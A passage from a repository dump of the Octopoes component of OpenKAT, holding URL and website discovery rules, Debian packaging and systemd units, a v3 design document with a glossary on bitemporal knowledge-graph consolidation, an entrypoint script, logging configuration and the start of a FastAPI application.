    "path": "octopoes/bits/url_discovery/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/url_discovery/bit.py",
    "content": "from bits.definitions import BitDefinition, BitParameterDefinition\nfrom octopoes.models.ooi.dns.zone import ResolvedHostname\nfrom octopoes.models.ooi.network import IPAddress, IPPort\n\nBIT = BitDefinition(\n    id=\"url-discovery\",\n    consumes=IPAddress,\n    parameters=[\n        BitParameterDefinition(ooi_type=IPPort, relation_path=\"address\"),\n        BitParameterDefinition(ooi_type=ResolvedHostname, relation_path=\"address\"),\n    ],\n    module=\"bits.url_discovery.url_discovery\",\n    min_scan_level=0,\n)\n"
  },
  {
    "path": "octopoes/bits/url_discovery/url_discovery.py",
    "content": "from collections.abc import Iterator\nfrom typing import Any\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.dns.zone import ResolvedHostname\nfrom octopoes.models.ooi.network import IPAddress, IPPort, Network\nfrom octopoes.models.ooi.web import URL\n\n\ndef run(\n    ip_address: IPAddress, additional_oois: list[IPPort | ResolvedHostname], config: dict[str, Any]\n) -> Iterator[OOI]:\n    hostnames = [resolved.hostname for resolved in additional_oois if isinstance(resolved, ResolvedHostname)]\n    ip_ports = [ip_port for ip_port in additional_oois if isinstance(ip_port, IPPort)]\n\n    for ip_port in ip_ports:\n        if ip_port.port == 443:\n            for hostname in hostnames:\n                yield URL(\n                    network=Network(name=hostname.tokenized.network.name).reference,\n                    raw=f\"https://{hostname.tokenized.name}/\",\n                )\n        if ip_port.port == 80:\n            for hostname in hostnames:\n                yield URL(\n                    network=Network(name=hostname.tokenized.network.name).reference,\n                    raw=f\"http://{hostname.tokenized.name}/\",\n                )\n"
  },
  {
    "path": "octopoes/bits/website_discovery/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/website_discovery/bit.py",
    "content": "from bits.definitions import BitDefinition, BitParameterDefinition\nfrom octopoes.models.ooi.dns.zone import ResolvedHostname\nfrom octopoes.models.ooi.network import IPAddress\nfrom octopoes.models.ooi.service import IPService\n\nBIT = BitDefinition(\n    id=\"website-discovery\",\n    consumes=IPAddress,\n    parameters=[\n        BitParameterDefinition(ooi_type=IPService, relation_path=\"ip_port.address\"),\n        BitParameterDefinition(ooi_type=ResolvedHostname, relation_path=\"address\"),\n    ],\n    module=\"bits.website_discovery.website_discovery\",\n    min_scan_level=0,\n)\n"
  },
  {
    "path": "octopoes/bits/website_discovery/website_discovery.py",
    "content": "from collections.abc import Iterator\nfrom typing import Any\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.dns.zone import ResolvedHostname\nfrom octopoes.models.ooi.network import IPAddressV4\nfrom octopoes.models.ooi.service import IPService\nfrom octopoes.models.ooi.web import Website\n\n\ndef run(\n    ip_address: IPAddressV4, additional_oois: list[IPService | ResolvedHostname], config: dict[str, Any]\n) -> Iterator[OOI]:\n    def is_service_http(ip_service: IPService) -> bool:\n        service_name = ip_service.service.tokenized.name.lower().strip()\n        return service_name in (\"http\", \"https\")\n\n    hostnames = [resolved.hostname for resolved in additional_oois if isinstance(resolved, ResolvedHostname)]\n    services = [ip_service for ip_service in additional_oois if isinstance(ip_service, IPService)]\n    http_services = filter(is_service_http, services)\n\n    # website is cartesian product of hostname and http services\n    for http_service in http_services:\n        for hostname in hostnames:\n            yield Website(hostname=hostname, ip_service=http_service.reference)\n"
  },
  {
    "path": "octopoes/conftest.py",
    "content": "# Having an empty conftest.py here is hack to make pytest add the root directory\n# to the sys.path which will make it possible to run tests without having to pip\n# install octopoes first. See https://stackoverflow.com/a/20972950 for more\n# information.\n"
  },
  {
    "path": "octopoes/debian/control",
    "content": "Source: kat-octopoes\nBuild-Depends: python3, dh-virtualenv, python3-setuptools, python3-pip, python3-dev, debhelper-compat (= 12)\nMaintainer: OpenKAT <maintainer@openkat.nl>\n\nPackage: kat-octopoes\nSection: python\nPriority: optional\nArchitecture: any\nPre-Depends: ${misc:Pre-Depends}\nDepends: ${python}, ${misc:Depends}\nDescription: Octopoes\n"
  },
  {
    "path": "octopoes/debian/copyright",
    "content": "Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/\nUpstream-Name: kat-octopoes\nUpstream-Contact: info@openkat.nl\nSource: __URL__\n\nFiles: *\nCopyright: 2022 OpenKAT\nLicense: EUPL\n\nLicense: EUPL\n"
  },
  {
    "path": "octopoes/debian/install",
    "content": "packaging/deb/data/etc/kat/* etc/kat\npackaging/deb/data/usr/* usr\n"
  },
  {
    "path": "octopoes/debian/kat-octopoes.kat-octopoes-worker.service",
    "content": "[Unit]\nDescription=kat-octopoes worker\nAfter=network.target\n\n[Service]\nUser=kat\nGroup=kat\nSyslogIdentifier=kat-octopoes-worker\nWorkingDirectory=/opt/venvs/kat-octopoes\nEnvironmentFile=/usr/lib/kat/octopoes.defaults\nEnvironmentFile=/etc/kat/octopoes.conf\nExecStart=/opt/venvs/kat-octopoes/bin/python -m celery -A octopoes.tasks.tasks worker -B -s /tmp/celerybeat-schedule --loglevel=WARNING\nRestart=on-failure\nRestartSec=3s\nKillMode=mixed\n\n[Install]\nWantedBy=multi-user.target\n"
  },
  {
    "path": "octopoes/debian/kat-octopoes.kat-octopoes.service",
    "content": "[Unit]\nDescription=kat-octopoes daemon\nRequires=kat-octopoes-worker.service\nAfter=network.target\n\n[Service]\nUser=kat\nGroup=kat\nSyslogIdentifier=kat-octopoes\nWorkingDirectory=/opt/venvs/kat-octopoes\nEnvironmentFile=/usr/lib/kat/octopoes.defaults\nEnvironmentFile=/etc/kat/octopoes.conf\nExecStart=/opt/venvs/kat-octopoes/bin/python -m gunicorn \\\n          --access-logfile - \\\n          -c /etc/kat/octopoes.gunicorn.conf.py \\\n          -k uvicorn.workers.UvicornWorker \\\n          octopoes.api.api:app\nRestart=on-failure\nRestartSec=3s\nKillMode=mixed\n\n[Install]\nWantedBy=multi-user.target\n"
  },
  {
    "path": "octopoes/debian/kat-octopoes.sysusers",
    "content": "u kat - \"OpenKAT\" /nonexistent\n"
  },
  {
    "path": "octopoes/debian/postinst",
    "content": "#!/bin/sh\nset -e\n\n# Newer versions might not be able to read the celery beat database so we delete\n# it here before restarting octopoes.\nrm -f /tmp/celerybeat-schedule.db\n\n#DEBHELPER#\n#\nchown -R root:kat /etc/kat\n"
  },
  {
    "path": "octopoes/debian/rules",
    "content": "#!/usr/bin/make -f\nexport DH_VERBOSE = 1\nexport DH_VIRTUALENV_INSTALL_ROOT = /opt/venvs\nexport PACKAGE=$(shell dh_listpackages)\nexport DH_VENV_DIR=debian/$(PACKAGE)$(DH_VIRTUALENV_INSTALL_ROOT)/$(PACKAGE)\nexport DESTDIR = $(CURDIR)/debian/$(PACKAGE)\nexport UV_LINK_MODE=copy\n\n%:\n\tdh $@ --with python-virtualenv\n\n.PHONY: override_dh_virtualenv override_dh_fixperms\n\noverride_dh_fixperms:\n\tdh_fixperms\n\tchmod 750 $(DESTDIR)/etc/kat/\n\tfind $(DESTDIR)/etc/kat -type f -exec chmod 640 {} \\;\n\noverride_dh_virtualenv:\n# We want to use uv but dh_virtualenv doesn't support that. So we create an\n# empty requirements file and call uv manually..\n\ttouch /tmp/requirements-empty.txt\n\tdh_virtualenv --requirements=/tmp/requirements-empty.txt --skip-install --preinstall \"uv\"\n\t$(DH_VENV_DIR)/bin/python -m uv sync --locked --active\n\t$(DH_VENV_DIR)/bin/python -m uv pip install .\n\t$(DH_VENV_DIR)/bin/python -m uv pip install gunicorn==23.0.0\n\n# remove pip and uv to prevent mutation of venv\n\t$(DH_VENV_DIR)/bin/python -m uv pip uninstall pip uv\n\n# Fix shebang\n\tsed -i 's|#!.*$(DH_VIRTUALENV_INSTALL_ROOT)/$(PACKAGE)/bin/python|#!$(DH_VIRTUALENV_INSTALL_ROOT)/$(PACKAGE)/bin/python|' $(DH_VENV_DIR)/bin/*\n\noverride_dh_gencontrol:\n\tdh_gencontrol -- -Vpython=`py3versions -d`\n\noverride_dh_installsystemd:\n\tdh_installsystemd --name=kat-octopoes\n\tdh_installsystemd --name=kat-octopoes-worker\n\nexecute_after_dh_install:\n\tdh_installsysusers\n\n# Disables dh_strip_nondeterminism because it very slow and not useful for us\noverride_dh_strip_nondeterminism:\n\n# Disable dh_dwz because it is also not useful for us\noverride_dh_dwz:\n\n# Let dpkg-shlibdeps ignore venvs\noverride_dh_shlibdeps:\n\tdh_shlibdeps -X/opt/venvs\n"
  },
  {
    "path": "octopoes/debian/triggers",
    "content": "# Register interest in Python interpreter changes; and\n# don't make the Python package dependent on the virtualenv package\n# processing (noawait)\ninterest-noawait /usr/bin/python3\n\n# Also provide a symbolic trigger for all dh-virtualenv packages\ninterest dh-virtualenv-interpreter-update\n"
  },
  {
    "path": "octopoes/docs/v3.md",
    "content": "# Octopoes v3\n\nOctopoes is KAT's bitemporal knowledge graph platform. Currently, v2 is in production while it does its job well, the v2 architecture is not tolerant enough to support some desired features. From the learnings of the past year with Octopoes v1, this documents describes the workings of the proposed v3 architecture.\n\n## TL;DR\n\n- Break up data into atomic units to:\n  - Enable consolidation strategies\n  - Enable withdrawal of sources (en-/disabling normalizers and bits)\n  - Enable modification of source OOI by bit\n- Append-only, versioned OOI schema, for backwards compatibility\n- GraphQL API based on schema of requested point in time\n- Regular, event-driven consolidation of graph of \"now\"\n- On-demand consolidation of graph of any point in valid-time\n- Hash OOI primary keys\n- Hydrated OOI representation for OOIs with foreign key in primary key\n\nFor Octopoes v3.5: incremental consolidation of relational bits by differential or timely dataflow. More research required.\n\n## Core concepts\n\n### Schema\n\nOctopoes is the knowledge graph _platform_ which is configurable with a schema of the intended application domain. Each entity in the domain is also called an **OOI (Object of Interest)** and the schema is therefore also called the **OOI schema**. The OOI schema describes:\n\n- the set of entity classes (OOI classes)\n- the hierarchy of OOI classes (ontology/taxonomy)\n- the attributes of each OOI class:\n  - primitives: these are mutable key->value pairs which contain values that describe the state of the object.\n  - foreign keys: these are pointers to the composite primary key of another object. This describes a relationship.\n  - natural keys / composite primary key: the minimum set of primitives and foreign keys of an object that makes it, by definition, unique and different from other objects from the same class\n\n![OOI Definition](img/ooi-definition.png)\n\nOOI classes are disambiguated by 3 properties:\n\n- `module`: the module name\n- `name`: the class name\n- `version`: the version of the class\n\nThe OOI schema will be append-only: Octopoes will only accept new OOI class definitions, not in-place updates of existing OOI classes.\n\n### Processing stages\n\nOOI Data in KAT passes several stages in the processing pipeline:\n\n1. Whiskers (normalizers) yield structured data (JSON) from any data source\n2. The structured data is validated against the schema and entities (class instances) are identified\n3. Data is stored in atomic form in the graph: entity state is stored per origin. This allows storage of conflicting information about an OOI\n4. Conflicting atomic data is resolved and merged into the consolidated knowledge graph\n5. Business rules are applied on consolidated objects and derived knowledge is stored as atomic data\n\nSteps 4 and 5 are performed cyclicly until all knowledge is derived. When all processing is done, the graph is considered **_consolidated_** .\n\n![Stages](img/stages.png \"Stages\")\n_O=Origin, E=Atomic Entity, A=Atomic Attribute, C=Consolidated Object_\n\n### Atomic data points\n\nAtomic data points are the Octopoes' smallest units of data: entities and attributes. Each output set of a normalizer or bit, will be stored as atomic datapoints in the graph per origin. This allows granular and incremental consolidation of the graph.\n\n_Example:_\n\n- Origin X reports entity A, with attribute B having value C\n- Origin Y reports entity A, with attribute B having value D\n\nThis is stored as following in the graph:\n\n![Atomic data points](img/atomic-data-points.png)\n\nAbove, the entity `Port 1.1.1.1:53` is mentioned by one or more origins. It therefore exists in the consolidated graph. Its attribute `state` has conflicting origins. Origin `Nmap` declares the value `open`, Origin Shodan declares the value `closed`. Octopoes, for now, will resolve this conflict by taking the most recent value. In the future, more complex strategies might be implemented (perhaps considering the confidence level of the origin, etc).\n\nStoring data in atomic form also enables tracking the origin of each data point. This is required to be able to revoke data points from a source when needed (en-/disabling normalizers and business rules). When a source and its atomic data points, is revoked, the graph is reconsolidated with the remaining atomic data points:\n\n![After removing a source](img/after-origin-removal.png)\n\n### Origins\n\nAn **origin** is a source of OOI data. Each OOI must be referenced by at least one origin to exist in the knowledge-graph. Origins exist in 2 types:\n\n- Observation, which is uniquely identified by the triple `(source-ooi, boefje, normalizer)`\n- Inference, which is uniquely identified by the combination of `(source-ooi, bit)`\n\nWhen boefjes and normalizers are repeated over time, the output dataset of the corresponding origin is overwritten with new information. Information by the previous iteration of the origin is dereferenced and removed in the subsequent consolidated graph. In Octopoes v3 this mechanism is not changed. For more information see the [Octopoes v1 documentation](https://github.com/SSC-ICT-Innovatie/nl-kat-octopoes/blob/develop/README.md#origin).\n\n### Bitemporality and consolidation\n\n[Bitemporality](https://docs.xtdb.com/concepts/bitemporality/) in Octopoes means that knowledge is stored in two time-axes: valid-time and transaction-time.\n\n- Valid-time is the intrinsic time of the knowledge, the time at which the knowledge is true.\n- Transaction-time is the time at which the knowledge is stored in the graph. Transaction-time is read-only and **_mutation always happens at the current transaction-time_**.\n\nConsolidation of the graph is applied asynchronously and after ingestion of atomic data. Intermediate consolidation states will be committed into the valid-time axis. This means that the graph is NOT always considered consolidated. Instead, Octopoes will persist pairs of `valid-time` and `transaction-time` at which the graph is consolidated. At these consolidated states, the graph is queryable. At any other `valid-time`/`transaction-time` combinations, the graph is not consolidated and not queryable.\n\n![Bitemporal consolidation](img/consolidation-bitemporal.png)\n_In this example timestamp (v<sub>1</sub>, t<sub>2</sub>) is consolidated and queryable_\n\nBy default, Octopoes will regularly consolidate the state of the graph of the 'now' in a series of consolidations.\nAdditionally, Octopoes can re-consolidate the graph of any valid-time. Results of such re-consolidations are stored in the graph at the valid-time of the re-consolidation, but with the transaction-time now.\n\n![Default consolidations](img/default-consolidations.png)\n_The default consolidations of the \"now\"_\n\n![](img/history-consolidation.png)\n_A re-consolidation of a past graph state_\n\n## GraphQL\n\nOctopoes v3 will provide a GraphQL endpoint which is generated from the OOI schema of the requested point in time.\n\nExample query:\n![graphql-query](img/graphql-query.png)\n\n## Events flow\n\n![Events flow](img/events-flow.png)\n\n## Application states\n\nTo avoid race conditions, the Octopoes main thread can be in one of the following execution states:\n\n```mermaid\nstateDiagram-v2\n    direction LR\n\n    IDLE\n\n    PROCESS_QUEUES --> IDLE\n    IDLE --> PROCESS_QUEUES\n\n    IDLE --> CONSOLIDATE_HISTORICAL\n    CONSOLIDATE_HISTORICAL --> IDLE\n\n    state PROCESS_QUEUES {\n        [*] --> INGEST_QUEUES\n        INGEST_QUEUES --> AWAIT_CONSOLIDATION\n        AWAIT_CONSOLIDATION --> [*]\n    }\n\n    state CONSOLIDATE_HISTORICAL {\n        [*] --> PERFORM_DIFF\n        PERFORM_DIFF --> AWAIT_HISTORICAL_CONSOLIDATION\n        AWAIT_HISTORICAL_CONSOLIDATION --> [*]\n    }\n\n```\n\n## Processing queues sequence\n\nThe `PROCESS_QUEUES` procedure follows the following (abstracted) sequence:\n\n```mermaid\nsequenceDiagram\n\n    participant Octopoes\n    participant OctopoesTaskQueue\n    participant XTDB\n    participant KATalogus\n    participant RabbitMQ\n\n    KATalogus->>+Octopoes: Fetch OOIClass updates\n    Octopoes-->>Octopoes: Validate OOIClass\n    Octopoes-->>XTDB: Persist OOIClass\n    Octopoes-->>OctopoesTaskQueue: Send DBEvent<OOIClass>\n\n    KATalogus->>+Octopoes: Fetch Normalizer config updates\n    Octopoes-->>XTDB: Persist NormalizerConfig\n    Octopoes-->>OctopoesTaskQueue: Send DBEvent<NormalizerConfig>\n\n    KATalogus->>+Octopoes: Fetch Bit config updates\n    Octopoes-->>XTDB: Persist BitConfig\n    Octopoes-->>OctopoesTaskQueue: Send DBEvent<BitConfig>\n\n    RabbitMQ-->>Octopoes: Pop NormalizerResults\n    Octopoes-->>Octopoes: Validate NormalizerResults <br> with OOI schema\n    Octopoes-->>Octopoes: Transform into Atomic Data\n    Octopoes-->>XTDB: Persist Origin\n    Octopoes-->>OctopoesTaskQueue: Send DBEvent<Origin>\n    Octopoes-->>XTDB: Persist Atomic Data\n    Octopoes-->>OctopoesTaskQueue: Send DBEvent<AtomicData>\n\n    Octopoes-->>OctopoesTaskQueue: Wait until empty\n    loop Resolve relational bits\n      Octopoes-->>XTDB: Find entities matching bit predicate <br> without a corresponding origin\n      alt no entities\n        Octopoes->>Octopoes: exit loop\n      end\n      Octopoes->>Octopoes: Execute bits\n      Octopoes-->>XTDB: Persist Origin\n      Octopoes-->>OctopoesTaskQueue: Send DBEvent<Origin>\n      Octopoes-->>XTDB: Persist Atomic Data\n      Octopoes-->>OctopoesTaskQueue: Send DBEvent<AtomicData>\n      Octopoes-->>OctopoesTaskQueue: Wait until empty\n    end\n\n    Octopoes-->XTDB: Persist: [valid-time] consolidated at [transaction-time]\n```\n\n## Processing historical consolidation\n\n**_WIP FROM HERE!!!_**\n\n## Architectural considerations\n\nThere are a few trade-offs that were made in the design of Octopoes v3.\n\n### Bitemporality, append-only\n\nBitemporality and with it, immutability on the transaction-time axis, is one most important features of Octopoes. It allows a complete historical view of the graph to answer questions like: \"What was known at time X (transaction-time) about time Y (valid-time)\". This is a very powerful feature, but it also comes with the caveat that the schema must be completely backwards compatible, in order to be able to understand the graph at any point in time. The other drawback is that Octopoes/KAT might become bulkier over time, as the schema is growing and growing.\n\n### Consolidation\n\nBasically, a consolidated graph is a derivative of the base-tables. The base-tables are known at each valid-time, transaction-time combination. The base-tables comprise:\n\n- The OOI schema\n- Which atomic data was yielded by the origins\n- Which origins were active at the time\n- Which business rules were active at the time\n\nSo, technically, it's possible to consolidate each valid-time, transaction-time combination. However, each update of the base-tables in the past, would possibly require re-consolidation of each valid-time after the update. Basically computing a complete alternative timeline. With model updates and corresponding normalizers, this would be too expensive.\n\nTherefore, Octopoes will persist pairs of `valid-time` and `transaction-time` at which the graph is consolidated. Which by default be a consolidation of the 'now' and historical consolidations are executed on demand only. Consolidations are always done with the transaction time 'now', making it impossible to consolidate a past transaction-time.\n\n### Foreign keys in natural key\n\nInitially, it was considered to only allow primitive attribute types in the natural key (e.g. str, int). This would make all OOI's inherently simpler to reason about, since at it's core the OOI could exist without dependencies to other objects. It actually would remove the dependency graph of OOIs completely. This design would simplify:\n\n- The GUI for creating OOIs. Only render primitives, no dependencies\n- Hydration, the JSON representation of the object for programmatic access. No need to resolve foreign keys.\n\nHowever, this design would create a massive duplication of data. For example, storing the whole HTTP request for each received HTTP header, instead of using a foreign key, to represent the http request. So, it is decided to allow foreign keys in the natural key.\n\n# Glossary of terms in an Octopoes and KAT context\n\n#### bitemporal knowledge graph\n\nThe abstract model at the foundation of Octopoes, which in turn is the foundation of KAT.\n[A graph](<https://en.wikipedia.org/wiki/Graph_(abstract_data_type)>) is a way of representing information in a network of individual nodes that are linked through edges.\nMathematically speaking, Octopoes is a _directed cyclic graph_. It does not have an explicit root node.\n\nBitemporality occurs when the state of the graph is represented in two axes of time:\n\n**valid-time:** the time at which a piece of objective, factual state of knowledge is true. In the Octopoes context, this usually refers to the observations made by a Boefje.\n**transaction-time:** the time at which the above valid-time is recorded by an observer. In other words: the moment at which Octopoes becomes _aware_ that some knowledge is true.\n\n#### atomic entity\n\nAn [instance of an OOI class](#ooi-instance), with only its [natural keys](#natural-key).\n\n#### atomic attribute\n\nThe value of an object attribute (both primitive and foreign; natural and non-natural) as recorded by an [origin](#origin).\n\n#### consolidated entity\n\nAn atomic entity, with all non-natural keys having been [consolidated](#consolidation).\n\n#### consolidated attribute\n\nThe value of an object attribute (both primitive and foreign; natural and non-natural) that has been [consolidated](#consolidation).\n\n#### conflict resolution (or: reconciliation)\n\nWhen multiple [origins](#origin) have conflicting observations about the state of non-natural attributes, Octopoes will determine which observation to accept and record in the graph.\n\n_Note: this is currently naively implemented by always taking the most recent observation, but more complex strategies will be considered in the future._\n\n**Example:**\nIf Shodan considers a certain `IPPort` to have `state: \"open\"`, and Nmap considers it to have `state: \"closed\"`, Octopoes will reconcile the `IPPort` to have the `state` value of whichever observation was the most recent.\n\n#### consolidation\n\nThe state of a graph, entity, or attribute after doing [conflict resolution](#conflict-resolution), and running all relational and non-relational [bits](#bits).\n\n#### primary key (or: composite of natural keys)\n\nThe unique identifier of an [OOI instance](#ooi-instance).\nIt is, by definition, a composite of the natural keys that define a unique instance of an object. It is a form of content-addressing.\nWe generate this primary key through `hash(concatenate(all natural key values, {class_module}_{class_name}_{class_version}))`. The class identifier is included to prevent accidental collisions between objects of different classes which share the same natural keys.\n\nIt should be semantically impossible for an [OOI class definition](#ooi-class) to have the same natural key values while referring to a different real-world entity.\n\n**Example:**\nThe natural keys of an `IPPort` class are made up of Network, Address, and Port.\n\nThere is no thinkable scenario where there exists two `IPPort` object instances, with the same Network, Address, and Port, that refer to two distinct real-world entities.\nThus, it can be concluded that this is an appropriate natural key composite.\n\n_Academic note: it would be ideal if someone came up with a mathematical proof that, for each primary key (e.g. composite of natural keys) of an OOI, proves that it is impossible to find a duplicate that refers to a different real-world entity._\n\n#### primitive\n\nA key->value pair that does not resolve to a different object (i.e. non-relational; not a foreign key).\n\n#### natural key\n\nAn immutable key->value pair that, when combined with the other natural keys of an OOI, defines a unique instance of the OOI class. (This is an attribute of an OOI.)\n\nThis key->value pair does not change, as it is part of the definition of an object.\n\nA natural key may be a foreign key or a primitive.\n\nSee [primary key](#primary-key) for more information.\n\n#### non-natural key\n\nA mutable key->value pair that describes the state of an OOI. These are not necessarily unique to a specific instance of the OOI class. (This is an attribute of an OOI.)\n\nA non-natural key may be a foreign key or a primitive.\n\n**Example:**\nAn `IPPort` may have `state: \"closed\"` or `state: \"open\"`. These may change over time and are not necessarily unique nor part of the definition of an OOI.\n\n#### hash\n\nThe hashing function used for deriving primary keys in Octopoes is NOT cryptographically strong.\nIt is very fast, while making accidental collisions extremely improbable.\n\n#### hydration\n\nThe process of generating a JSON-representation of an OOI instance, where natural key attributes which are foreign keys, are replaced by nested objects. This makes it easier to access the actual, current values of an object in the code.\n\nThis may be done immediately after creating an object (eager loading), or postponed until the attributes are actually queried (lazy loading).\n\n**Example:**\n\n```\nclass IPPort\n address: ab3ef1\n port: 80\n state: \"open\"\n```\n\nbecomes:\n\n```\nclass IPPort\n address: {\n     address: 1.1.1.1,\n     network: {\n          name: internet\n     }\n }\n port: 80\n state: \"open\"\n```\n\n#### differential and timely dataflow\n\nTwo state-of-the-art, academic research topics, which are intended for efficiently performing computations on large amounts of data and maintaining the computations as the data change.\n\n[Timely dataflow](https://timelydataflow.github.io/timely-dataflow/)\n[Differential dataflow](https://timelydataflow.github.io/differential-dataflow/)\n\n### OOI schema\n\nAn abstract representation of the hierarchy and relationships between abstract [OOI classes](#ooi-class).\n\n#### OOI instance (or: OOI entity)\n\nThe actual, \"real-world\" instance of an [OOI object class](#ooi-class). In other words, an instance has actual attribute values such as `127.0.0.1` and `\"open\"`).\n\n#### OOI class\n\nAn abstract representation of a type of object, according to the data definition language (DDL). In other words, a class has abstract attribute values such as `address` and `state`.\n\n#### origin\n\nA source of knowledge, such as a Boefje (observation) or Bit (inference).\n\n#### normalizer (or: \"whisker\")\n\nA piece of code that generates structured data (that can be used in Octopoes) from unstructured data (e.g. the raw output of a Boefje).\nThese will output atomics.\n\n#### bits (or: business rules)\n\nA \"business rule\" that draws conclusions (i.e. _infers_) from [consolidated entities](#consolidated-entity).\nThese will output atomics.\n\nThese may be relational, in which case they depend on the state of multiple object entities, or non-relational, in which case they only depend on the state of a single entity.\n\nNon-relational bits are computationally cheap to execute, whereas relational bits may be computationally very expensive\n"
  },
  {
    "path": "octopoes/entrypoint.sh",
    "content": "#!/bin/bash\nset -e\n\n# Make env variable comparison case insensitive\nshopt -s nocasematch\n\nif [ \"$1\" = \"web\" ]; then\n    exec uvicorn octopoes.api.api:app --host 0.0.0.0 --port 80\nelif [ \"$1\" = \"worker-beat\" ]; then\n    exec celery -A octopoes.tasks.tasks worker -B -s /tmp/celerybeat-schedule --loglevel=INFO\nelif [ \"$1\" = \"worker\" ]; then\n    exec celery -A octopoes.tasks.tasks worker --loglevel=INFO\nelif [ \"$1\" = \"scanprofiles\" ]; then\n    exec python3 -m octopoes.tasks.scanprofiles --loglevel=INFO\nfi\n\nexec \"$@\"\n"
  },
  {
    "path": "octopoes/logging.yml",
    "content": "version: 1\ndisable_existing_loggers: 0\n\nformatters:\n  default:\n    format: \"%(message)s\"\n\nhandlers:\n  console:\n    class: logging.StreamHandler\n    formatter: default\n    level: INFO\n    stream: ext://sys.stdout\n\nroot:\n  level: WARN\n  handlers: [console]\n\nloggers:\n  httpx:\n    level: WARN\n    propagate: 0\n    handlers: [console]\n  uvicorn:\n    level: INFO\n    propagate: 0\n    handlers: [console]\n  pika:\n    level: WARN\n    handlers: [console]\n    propagate: 0\n  api:\n    LEVEL: INFO\n    handlers: [console]\n    propagate: 0\n  octopoes:\n    level: INFO\n    handlers: [console]\n    propagate: 0\n  celery:\n    level: WARNING\n    handlers: [console]\n    propagate: 0\n  celery.worker:\n    level: WARNING\n    handlers: [console]\n    propagate: 0\n  scanprofiles:\n    level: INFO\n    handlers: [console]\n    propagate: 0\n  octopoes-core-service:\n    level: INFO\n    handlers: [console]\n    propagate: 0\n"
  },
  {
    "path": "octopoes/octopoes/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/octopoes/api/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/octopoes/api/api.py",
    "content": "import logging\nimport socket\nfrom contextlib import asynccontextmanager\nfrom logging import config\nfrom pathlib import Path\n\nimport structlog\nimport yaml\nfrom fastapi import FastAPI, HTTPException, status\nfrom fastapi.exceptions import RequestValidationError\nfrom fastapi.requests import Request\nfrom httpx import RequestError\nfrom opentelemetry import trace\nfrom opentelemetry.exporter.otlp.proto.grpc.trace_exporter import OTLPSpanExporter\nfrom opentelemetry.instrumentation.fastapi import FastAPIInstrumentor\nfrom opentelemetry.instrumentation.httpx import HTTPXClientInstrumentor\nfrom opentelemetry.sdk.resources import SERVICE_NAME, Resource\nfrom opentelemetry.sdk.trace import TracerProvider\nfrom opentelemetry.sdk.trace.export import BatchSpanProcessor\nfrom pika.adapters.utils.connection_workflow import AMQPConnectionWorkflowFailed\n\nfrom octopoes.api.bulk_router import router as bulk_router\nfrom octopoes.api.models import ServiceHealth\nfrom octopoes.api.router import router\nfrom octopoes.config.settings import Settings\nfrom octopoes.core.app import close_rabbit_channel\nfrom octopoes.events.manager import get_rabbit_channel\nfrom octopoes.models.exception import ObjectNotFoundException, TypeNotFound\nfrom octopoes.version import __version__\nfrom octopoes.xtdb.exceptions import NodeNotFound\nfrom octopoes.xtdb.query import InvalidField, InvalidPath\n\nsettings = Settings()\nlogger = logging.getLogger(__name__)\n\n# Load log config\ntry:\n    with Path(settings.log_cfg).open() as log_config:\n        config.dictConfig(yaml.safe_load(log_config))\n        logger.info(\"Configured loggers with config: %s\", settings.log_cfg)\nexcept FileNotFoundError:\n    logger.warning(\"No log config found at: %s\", settings.log_cfg)\n\nstructlog.configure(\n    processors=[\n        structlog.contextvars.merge_contextvars,\n        structlog.processors.add_log_level,\n        structlog.processors.StackInfoRenderer(),\n        structlog.dev.set_exc_info,\n        structlog.stdlib.PositionalArgumentsFormatter(),\n        structlog.processors.TimeStamper(\"iso\", utc=False),\n        (\n            structlog.dev.ConsoleRenderer(\n                colors=True, pad_level=False, exception_formatter=structlog.dev.plain_traceback\n            )\n            if settings.logging_format == \"text\"\n            else structlog.processors.JSONRenderer()\n        ),\n    ],\n    context_class=dict,\n    logger_factory=structlog.stdlib.LoggerFactory(),\n    wrapper_class=structlog.stdlib.BoundLogger,\n    cache_logger_on_first_use=True,\n)\n\n\n@asynccontextmanager\nasync def lifespan(app: FastAPI):\n    try:\n        get_rabbit_channel(str(settings.queue_uri))\n    except (AMQPConnectionWorkflowFailed, socket.gaierror):\n        logger.exception(\"Unable to connect RabbitMQ on startup\")\n    yield\n    # clean up items\n    close_rabbit_channel(str(settings.queue_uri))\n\n\napp = FastAPI(title=\"Octopoes API\", lifespan=lifespan)\n\n# Set up OpenTelemetry instrumentation\nif settings.span_export_grpc_endpoint is not None:\n    logger.info(\"Setting up instrumentation with span exporter endpoint [%s]\", settings.span_export_grpc_endpoint)\n\n    FastAPIInstrumentor.instrument_app(app)\n    HTTPXClientInstrumentor().instrument()\n\n    resource = Resource(attributes={SERVICE_NAME: \"octopoes\"})\n    provider = TracerProvider(resource=resource)\n    processor = BatchSpanProcessor(OTLPSpanExporter(endpoint=str(settings.span_export_grpc_endpoint)))\n    provider.add_span_processor(processor)\n    trace.set_tracer_provider(provider)\n\n    logger.debug(\"Finished setting up instrumentation\")\n\n\n@app.exception_handler(RequestValidationError)\ndef http_validation_exception_handler(_: Request, exc: RequestValidationError) -> None:\n    logger.info(exc)\n    raise HTTPException(status.HTTP_422_UNPROCESSABLE_ENTITY, detail=str(exc))\n\n\n@app.exception_handler(RequestError)\ndef http_exception_handler(_: Request, exc: RequestError) -> None:\n    logger.error(exc)\n    raise HTTPException(status.HTTP_500_INTERNAL_SERVER_ERROR, detail=str(exc))\n\n\n@app.exception_handler(InvalidField)\ndef invalid_field(_: Request, exc: InvalidField) -> None:\n    logger.info(exc)\n    raise HTTPException(status.HTTP_400_BAD_REQUEST, detail=str(exc))\n\n\n@app.exception_handler(InvalidPath)\ndef invalid_path(_: Request, exc: InvalidPath) -> None:\n    logger.info(exc)\n    raise HTTPException(status.HTTP_400_BAD_REQUEST, detail=str(exc))\n\n\n@app.exception_handler(ValueError)\ndef value_error(_: Request, exc: ValueError) -> None:\n    logger.info(exc)\n    raise HTTPException(status.HTTP_400_BAD_REQUEST, detail=str(exc))\n\n\n@app.exception_handler(TypeNotFound)\ndef type_not_found(_: Request, exc: TypeNotFound) -> None:\n    raise HTTPException(status.HTTP_400_BAD_REQUEST, detail=\"Type not found\")\n\n\n@app.exception_handler(NodeNotFound)\ndef node_not_found_exception_handler(_: Request, exc: NodeNotFound) -> 